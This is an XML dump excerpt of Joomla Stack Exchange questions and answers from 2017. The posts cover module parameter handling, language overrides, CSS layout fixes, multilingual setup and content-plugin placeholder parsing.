  <row Id="20841" PostTypeId="2" ParentId="20839" CreationDate="2017-05-22T19:11:35.533" Score="2" Body="&lt;p&gt;I solve this problem change from UlKit3 to Ulkit in config area.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4hTcr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4hTcr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2017-05-22T19:11:35.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20842" PostTypeId="1" CreationDate="2017-05-22T19:19:26.123" Score="2" ViewCount="680" Body="&lt;p&gt;I've just coded a module in J!3.7 which should auto-generate the values of optional fields based on another required field value on save.&#xA;I know that I can check values using a rule class but I had no luck overwriting the form fields there so I think it's just not possible this way. Unfortunately, I haven't found any documentation about this. I'm using a subform so things also get a bit more complicated. In my test()-function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input-&amp;gt;get( 'params.gmcp_content.gmcp_content0.gmcp_lng' ); // returns 8.4368239&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns the expected value which was entered manually and saved properly before to have test case. So I tried this to set the value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input-&amp;gt;set( 'params.gmcp_content.' . $key . '.gmcp_lng', $lng );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this didn't work. Neither did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;setValue( 'params.gmcp_content.' . $key . '.gmcp_lng', null, $lng );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I dump the post array, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [jform] =&amp;gt; Array&#xA;        (&#xA;            [title] =&amp;gt; Locations&#xA;            [params] =&amp;gt; Array&#xA;                (&#xA;                    [gmcp_content] =&amp;gt; Array&#xA;                        (&#xA;                            [gmcp_content0] =&amp;gt; Array&#xA;                                (&#xA;                                    [gmcp_contact_id] =&amp;gt; 2&#xA;                                    [gmcp_lat] =&amp;gt; 49.3161506 // entered manually for testing&#xA;                                    [gmcp_lng] =&amp;gt; 8.4368239 // entered manually for testing&#xA;                                )&#xA;                            [gmcp_content1] =&amp;gt; Array&#xA;                                (&#xA;                                    [gmcp_contact_id] =&amp;gt; 1&#xA;                                    [gmcp_lat] =&amp;gt; &#xA;                                    [gmcp_lng] =&amp;gt; &#xA;                                )&#xA;                        )&#xA;...&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how can I manipulate form data before the module params get saved in the database?&lt;/p&gt;&#xA;" OwnerUserId="11042" LastEditorUserId="4134" LastEditDate="2017-05-23T11:36:29.000" LastActivityDate="2017-05-24T12:34:37.250" Title="How to change form values sent by a module?" Tags="|module-params|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20843" PostTypeId="2" ParentId="20842" CreationDate="2017-05-22T22:14:00.880" Score="3" Body="&lt;p&gt;If you're talking about module definition file that holds module options you can't do much in the file using framework it-self. But you can do it in 3 other ways.&lt;/p&gt;&#xA;&lt;h2&gt;In the UI by Java Script&lt;/h2&gt;&#xA;&lt;p&gt;Just create custom field class that will include Java Script into document head that will perform a sample data fill on save/apply button click. Here is some short tutorial about &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;creating custom Joomla! form field&lt;/a&gt;. It requires from you both PHP, Joomla Framework and Java Script knowledge but it gives you most possibilities. If its only about changing settings depending on other input values in form. Its the best option.&lt;/p&gt;&#xA;&lt;h2&gt;In module helper&lt;/h2&gt;&#xA;&lt;p&gt;If you don't need the data to alter system behaviour (for example by selecting a layout, bootstrap size or caching) you can alter the data when it is retrieved in your module helper (or directly in your module main file). You should use that one if you need to change data pushed to the module depending on values from the database or other extensions. That way the module settings holds only the params, and processing is made by the module it-self.&lt;/p&gt;&#xA;&lt;h2&gt;As a separate plugin&lt;/h2&gt;&#xA;&lt;p&gt;As @Rico pointed out there is also a possibility to use a plugin from &lt;code&gt;extension&lt;/code&gt; group and &lt;code&gt;onExtensionBeforeSave&lt;/code&gt; event. If you gonna need to install both module and plugin at once use &lt;code&gt;Package&lt;/code&gt; extension type. Details about creating package can be found &lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. This is the last resort. It makes the job done but also creates a problem if a data sources changes. Then you would have to update the module too (at least open and save).&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-24T12:34:37.250" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="20844" PostTypeId="1" AcceptedAnswerId="20850" CreationDate="2017-05-23T08:19:40.887" Score="1" ViewCount="635" Body="&lt;p&gt;bt google maps module not show in my website? what is the problem? Thank you very much. &lt;a href=&quot;https://i.stack.imgur.com/6XVHF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6XVHF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/qcwlC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qcwlC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11107" LastActivityDate="2017-05-23T21:09:01.823" Title="bt google maps not show in my website?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20845" PostTypeId="2" ParentId="20844" CreationDate="2017-05-23T11:31:15.143" Score="2" Body="&lt;p&gt;Follow the below steps.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Menu Assignment tab on your module settings&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;On All Pages&quot; of Menu Assignment option.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-05-23T11:31:15.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20847" PostTypeId="1" CreationDate="2017-05-23T17:48:40.470" Score="1" ViewCount="44" Body="&lt;p&gt;I have a component that adds a menu option (&quot;Connect Daily Calendar&quot;) to the Joomla Components menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is under certain circumstances &quot;decorate&quot; the menu option's text. For example, if some condition is met, put an exclamation point or similar icon on the menu option indicating that there's a condition that needs taken care of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if they haven't yet created a calendar event, have an exclamation point on the menu option indicating there's a message pending.I understand how to enqueue the message after they land on my component's page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have a running system plugin, and I know how to hook into onAfterRoute() to show messages. For example, I'm planning on enqueueing a message on the content editor page that tells the user how to access the extension's plugin insertion dialog. I just want to be very specific about adding messages. If something isn't a critical issue, then I want to display the hint on my menu pad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've poked around JMenu and JMenuItem, but I just don't quite see what to do. I &quot;think&quot; if I could could get a reference to the JMenuItem for my component, then I could check the condition and adjust the img property. I'm just stuck at the right path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2017-11-19T22:58:08.303" Title="Decorate Menu Option" Tags="|menu|menu-item|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20848" PostTypeId="2" ParentId="20847" CreationDate="2017-05-23T18:24:48.567" Score="1" Body="&lt;p&gt;Instead of looking into &lt;code&gt;JMenu&lt;/code&gt; class you should look into &lt;code&gt;mod_menu&lt;/code&gt; and &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;overriding its layout&lt;/a&gt; or a proper Java Script code cause this is a presentation (template) feature, not data. Just later menu item look in the proper layout file depending on conditions. Same goes for Java Script. Depending on conditions include the script that will later a proper menu item. All of menu items have a unique ID. So both ways will be easy to make.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-05-23T18:24:48.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20850" PostTypeId="2" ParentId="20844" CreationDate="2017-05-23T21:09:01.823" Score="2" Body="&lt;p&gt;I do not use Helix regularly, but I believe the position name is position3 instead of position-3.  Try changing it to see if it appears.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-05-23T21:09:01.823" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20851" PostTypeId="1" CreationDate="2017-05-24T00:52:00.963" Score="0" ViewCount="429" Body="&lt;p&gt;I'm new to Joomla and I'm taking over some other person's previous work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to change the wording of the email that a new user receives after they've verified their email and the administrator has activated their account. I know that I have to do the customization in the language file but I can't find the correct constant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried overriding &lt;code&gt;COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY&lt;/code&gt; and &#xA;&lt;code&gt;COM_USERS_REGISTRATION_ACTIVATE_SUCCESS&lt;/code&gt; but I still get the same results. I also opened up &lt;code&gt;en-GB.com_users.ini&lt;/code&gt; and I did a search for the wording that is on the default email and I can't even find it. So I don't know where it's getting the wording from. I've successfully overridden the User verification email constant, so I don't know why I'm having such a difficult time with this one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. Thanx&lt;/p&gt;&#xA;" OwnerUserId="9821" LastActivityDate="2017-05-24T22:39:05.583" Title="Customize User Account Approved Email" Tags="|joomla-3.x|language|email-template|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20852" PostTypeId="2" ParentId="20851" CreationDate="2017-05-24T03:04:53.040" Score="1" Body="&lt;p&gt;Those constants are located in &lt;code&gt;/language/en-GB/en-GB.com_users.ini&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that you are looking for &lt;code&gt;COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY&lt;/code&gt; constant in administrator language folder and you should look for it inside &lt;strong&gt;site language folder&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2017-05-24T03:04:53.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20853" PostTypeId="2" ParentId="20842" CreationDate="2017-05-24T09:26:35.710" Score="0" Body="&lt;p&gt;Well, after a long series of struggles I've found at least one way which finally worked for my situation. I had to code a plugin, a fact which feels very counter-intuitive and oversized to me ... what I don't like about this solution is that it's not &quot;bundled&quot; with the module what it should be. Anyways here's my solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// IMPORTANT:&#xA;// in your &quot;myplugin.xml&quot;: &quot;group&quot; must be &quot;extension&quot;:&#xA;// &amp;lt;extension version=&quot;3.1&quot; type=&quot;plugin&quot; group=&quot;extension&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;// in your &quot;myplugin.php&quot;: class name must start with &quot;PlgExtension&quot;&#xA;&#xA;class PlgExtensionMyPlugin extends JPlugin {&#xA;&#xA;    public function onExtensionBeforeSave( $context, &amp;amp;$table, $isNew ) {&#xA;&#xA;        // not the right context&#xA;        if( $context !== 'com_modules.module' ) {&#xA;            return true;&#xA;        }&#xA;        // not the right module&#xA;        if( $table-&amp;gt;module !== 'mod_mymodule' ) {&#xA;            return true;&#xA;        }&#xA;&#xA;        // get the params of the module&#xA;        $params = json_decode( $table-&amp;gt;params );&#xA;&#xA;&#xA;        // ... process $params in some way&#xA;&#xA;&#xA;        // build params json string and assign new params value to module reference&#xA;        $table-&amp;gt;params = json_encode( $params );&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to ACTIVATE your plugin after installing it.&lt;/p&gt;&#xA;" OwnerUserId="11042" LastActivityDate="2017-05-24T09:26:35.710" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20854" PostTypeId="1" AcceptedAnswerId="20855" CreationDate="2017-05-24T09:38:52.653" Score="1" ViewCount="115" Body="&lt;p&gt;I have been asked to have a look at an issue on a site where by the footer position seems to overlap the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSS for the position is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#jsn-footer {&#xA;    position: relative;&#xA;    font-size: 13px;&#xA;    line-height: 22px;&#xA;    color: #acacac;&#xA;    padding: 55px 0;&#xA;    margin-top: 30px;&#xA;    clear: both;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I alter the margin I can manually clear the content, however this will overlap again if the content becomes large. Is there a definitive way to ensure that it never overlaps the content. I have used clear:both but this does not seem to do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example URL can be found here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be most welcome.&#xA;Regards&#xA;D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:Link removed&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-06-23T09:34:21.300" LastActivityDate="2017-06-23T09:34:21.300" Title="Footer position overlapping content - definitive way to ensure it is always below?" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20855" PostTypeId="2" ParentId="20854" CreationDate="2017-05-24T09:55:43.833" Score="2" Body="&lt;p&gt;The issue comes from the &lt;code&gt;.clr&lt;/code&gt; class that you have set on an element near the bottom of the content. This class is setting the element to a &lt;strong&gt;height&lt;/strong&gt; of &lt;strong&gt;0&lt;/strong&gt;, thus the footer is being pushed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove this class (screenshot below):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CrQwX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CrQwX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-05-24T09:55:43.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20856" PostTypeId="1" CreationDate="2017-05-24T12:01:54.257" Score="1" ViewCount="2287" Body="&lt;p&gt;I made a multilangual site. I followed all the steps for plugins, components, assignments, etc. But, in the language switcher I see just one language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla version 3.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this?&#xA;Thank you so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/23fWJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/23fWJ.png&quot; alt=&quot;language switcher HTML&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11114" LastEditorUserId="115" LastEditDate="2017-05-24T13:28:01.987" LastActivityDate="2017-05-24T18:28:10.123" Title="Language switcher doesn't show all languages" Tags="|multilingual|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20857" PostTypeId="2" ParentId="20856" CreationDate="2017-05-24T12:42:55.053" Score="4" Body="&lt;p&gt;To create a multi-language website you need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;install and enable other languages&lt;/li&gt;&#xA;&lt;li&gt;enable language plug-in&lt;/li&gt;&#xA;&lt;li&gt;assign default menu item for each language&lt;/li&gt;&#xA;&lt;li&gt;create content languages for each language&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Make sure that you have followed all of those steps&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-05-24T12:42:55.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20858" PostTypeId="2" ParentId="20856" CreationDate="2017-05-24T13:03:22.283" Score="0" Body="&lt;p&gt;I found the error following &lt;a href=&quot;https://www.templatemonster.com/help/joomla-3-x-configuration-multilanguage-site.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; and watching the image in step 23.&#xA;I have created the default item in the Italian menu for all languages.&#xA;So I created the default item in a different menu for all languages and set the default item for Italian language. &lt;/p&gt;&#xA;" OwnerUserId="11115" LastEditorDisplayName="user3831" LastEditDate="2017-05-24T18:28:10.123" LastActivityDate="2017-05-24T18:28:10.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20862" PostTypeId="1" CreationDate="2017-05-24T15:48:30.910" Score="2" ViewCount="2440" Body="&lt;p&gt;My admin page is taking almost 5 minutes to load every page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disabled/uninstalled all the extensions but can't find out what it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My host tells me that a script is requesting extrnal html from &quot;ip-37-60-230-24.siteground.com&quot; on port 80 and this is responsible for slowing down the site. &#xA;It times out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find what is causing this, can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Joomla version is 3.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a snapshot of the Network tab of Dev Tools:&lt;a href=&quot;https://i.stack.imgur.com/JRl1F.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JRl1F.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="5250" LastEditDate="2017-05-24T18:47:57.850" LastActivityDate="2018-10-16T20:10:53.073" Title="Admin incredibly slow" Tags="|joomla-3.x|administrator|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20864" PostTypeId="2" ParentId="20828" CreationDate="2017-05-24T16:17:45.577" Score="1" Body="&lt;p&gt;Finally I found the problem. &#xA;In my production environment dosen’t have the Phar extension available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficult to detect this limitation was because the sobi component return black pages without reporting any error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To correct the problem I just uncompressed the sobi framework file and make a change in the sobi component loader code. This change is documented here: &lt;a href=&quot;https://github.com/Sigsiu-NET/SobiPro/pull/8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Sigsiu-NET/SobiPro/pull/8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7958" LastActivityDate="2017-05-24T16:17:45.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20865" PostTypeId="2" ParentId="18165" CreationDate="2017-05-24T18:40:39.667" Score="5" Body="&lt;p&gt;I added slash before &lt;code&gt;home&lt;/code&gt; in the &lt;code&gt;configuration.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $tmp_path = '/home/host/public_html/tmp';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11119" LastEditorUserId="168" LastEditDate="2017-05-25T16:58:18.917" LastActivityDate="2017-05-25T16:58:18.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20866" PostTypeId="2" ParentId="20862" CreationDate="2017-05-24T19:00:33.683" Score="2" Body="&lt;p&gt;A Google of the URL led to this &lt;a href=&quot;https://www.regularlabs.com/forum/extensionmanager/43069-could-not-retrieve-data-from-the-regular-labs-website-please-try-again-later?start=60&quot; rel=&quot;nofollow noreferrer&quot;&gt;thread&lt;/a&gt;, which suggests it is something to do with: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.regularlabs.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any of their extensions installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst installations should uninstall correctly, it may be worth re-installing the core code in case it has overriden core files - there are plenty of bad extensions out there (though I've no idea what Regularlabs ones are like).&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-24T19:00:33.683" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="20867" PostTypeId="1" CreationDate="2017-05-24T20:45:44.490" Score="4" ViewCount="835" Body="&lt;p&gt;I made a subform repeatable fieldtype custom field plugin to integrate with the custom field extension in 3.7x, and it works correctly to display the the fields during article submission. However, the data is not saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extend code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('components.com_fields.libraries.fieldsplugin',JPATH_ADMINISTRATOR);&#xA;&#xA;class PlgFieldsCustomrepeat extends FieldsPlugin {&#xA;&#xA;public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) {&#xA;&#xA;    $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);&#xA;&#xA;    if (!$fieldNode) {&#xA;        return $fieldNode;&#xA;    }&#xA;&#xA;    $fieldNode-&amp;gt;setAttribute('type', 'subform');&#xA;    $fieldNode-&amp;gt;setAttribute('formsource', $field-&amp;gt;fieldparams-&amp;gt;get('formsource', 0));&#xA;    $fieldNode-&amp;gt;setAttribute('layout', $field-&amp;gt;fieldparams-&amp;gt;get('layoutformat'));&#xA;    $fieldNode-&amp;gt;setAttribute('multiple', true);&#xA;    $fieldNode-&amp;gt;setAttribute('groupByFieldset', $field-&amp;gt;fieldparams-&amp;gt;get('fieldsetgroup', 0) ? 'true' : 'false');&#xA;    $fieldNode-&amp;gt;setAttribute('min', $field-&amp;gt;fieldparams-&amp;gt;get('min', 0));&#xA;    $fieldNode-&amp;gt;setAttribute('max', $field-&amp;gt;fieldparams-&amp;gt;get('max', 1000));&#xA;    $fieldNode-&amp;gt;setAttribute('default', $field-&amp;gt;fieldparams-&amp;gt;get('defaultset', 0));&#xA;&#xA;    return $fieldNode;&#xA;&#xA;}&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried a text fieldtype and that sent the data correctly. What needs to be added to allow subform type to work with custom fields?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/b2CTE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b2CTE.jpg&quot; alt=&quot;screen shot of subform custom field in article submission view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11120" LastEditorUserId="115" LastEditDate="2017-05-25T04:07:31.760" LastActivityDate="2018-11-16T09:03:35.793" Title="How to save data from subform fieldtype in joomla 3.7 custom field" Tags="|plugin|custom-field|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20868" PostTypeId="2" ParentId="20851" CreationDate="2017-05-24T22:39:05.583" Score="0" Body="&lt;p&gt;OK, so I finally found the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email is being generated by a system plugin. That's why I couldn't override it like the other constants. So I had to change the text generated in the plugin's template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/admin-approval/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Admin Approval&lt;/a&gt; is used and from what I read it's suppose to add email verification. I thought Joomla already came with this functionality by default, so there was no need for an add-on extension. But since this site was created a few years back, I'm guessing maybe this functionality wasn't available then so there was the need for this plugin.&lt;/p&gt;&#xA;" OwnerUserId="9821" LastActivityDate="2017-05-24T22:39:05.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20869" PostTypeId="1" CreationDate="2017-05-25T14:19:45.100" Score="0" ViewCount="76" Body="&lt;p&gt;I am working on converting a static site to Joomla and am getting a bit stuck with regards to styling a module position so that it is the same height as the background image for the row. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The look I need to copy is the banner here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up 2 module positions in this row and have assigned the module with the content in it to the #banner position. However, if I try and add padding to expand the background colour the background image moves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the opaque white background needs to be the same height as the background image and must stretch to the far right of the screen as in a fluid row. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm coming up stuck with this one, has anyone tried doing this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be most appreciated, as I've spent quite some time testing css but have not manage to achieve what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla site is here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again guys.&#xA;D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Links removed&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-06-23T09:33:01.323" LastActivityDate="2017-06-23T10:55:31.310" Title="Struggling to make module same height as Hero background image" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20870" PostTypeId="2" ParentId="20869" CreationDate="2017-05-25T15:23:40.823" Score="1" Body="&lt;p&gt;The site you have linked to just does it by making the white shadow part of the image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Link removed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want pure CSS, you're probably best looking at doing something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;banner&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;innertext&quot;&amp;gt;&#xA;      HELLO WORLD&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;#banner {&#xA;  width:100%;&#xA;  background:#f00;&#xA;  min-height:400px;&#xA;  position:relative;&#xA;}&#xA;&#xA;#innertext {&#xA;  background:rgba(50,50,50,0.5);&#xA;  width:50%;&#xA;  position:absolute;&#xA;  top:0;&#xA;  bottom:0;&#xA;  left:50%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Positioning the overlay absolutely within the banner area allows you to fill the available height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://jsfiddle.net/ruxjpt7s/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/ruxjpt7s/&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="7973" LastEditDate="2017-06-23T10:55:31.310" LastActivityDate="2017-06-23T10:55:31.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20872" PostTypeId="1" CreationDate="2017-05-26T08:51:04.407" Score="1" ViewCount="326" Body="&lt;p&gt;Based on the this tutorial &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_content_plugin&lt;/a&gt;, I managed to write my first content plugin with this helper.php code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$regex_cat = '/{reillorama:(.*?)}/i';&#xA;    &#xA;preg_match_all($regex_cat, $article-&amp;gt;text, $matches);&#xA;if ($matches)&#xA;{&#xA;    $path = JPluginHelper::getLayoutPath('content', 'reillorama');&#xA;    foreach ($matches[1] as $catid)&#xA;    {&#xA;        $image = new images();&#xA;        $image -&amp;gt;categoryid = $catid;&#xA;        $allimages = $image -&amp;gt;getImages();&#xA;&#xA;        ob_start();&#xA;        include $path;&#xA;        $html = ob_get_contents();&#xA;        ob_end_clean();&#xA;&#xA;        $regex_cat = '/{reillorama:' . str_replace('.', '\.', str_replace('/', '\/', $catid)) . '}/is';&#xA;&#xA;        $article-&amp;gt;text = preg_replace($regex_cat, $html, $article-&amp;gt;text);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This code takes the catid from my plugin syntax &lt;code&gt;{reillorama:&amp;quot;catid&amp;quot;}&lt;/code&gt; where &lt;code&gt;catid&lt;/code&gt; is a number.&lt;/p&gt;&#xA;&lt;p&gt;Now I need two more params like &amp;quot;navigation&amp;quot;(charset) and &amp;quot;title&amp;quot;(number). The final syntax code looks like &lt;code&gt;{reillorama:5/dots/1}&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;How can I extract those values from the input code and parse them to my default.php tmpl?&lt;/p&gt;&#xA;" OwnerUserId="8554" LastEditorUserId="12352" LastEditDate="2021-12-15T23:49:38.857" LastActivityDate="2023-05-10T02:03:55.463" Title="Joomla plugin - replace placeholders with dynamic content in article text" Tags="|joomla-3.x|plugin|articles|content|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
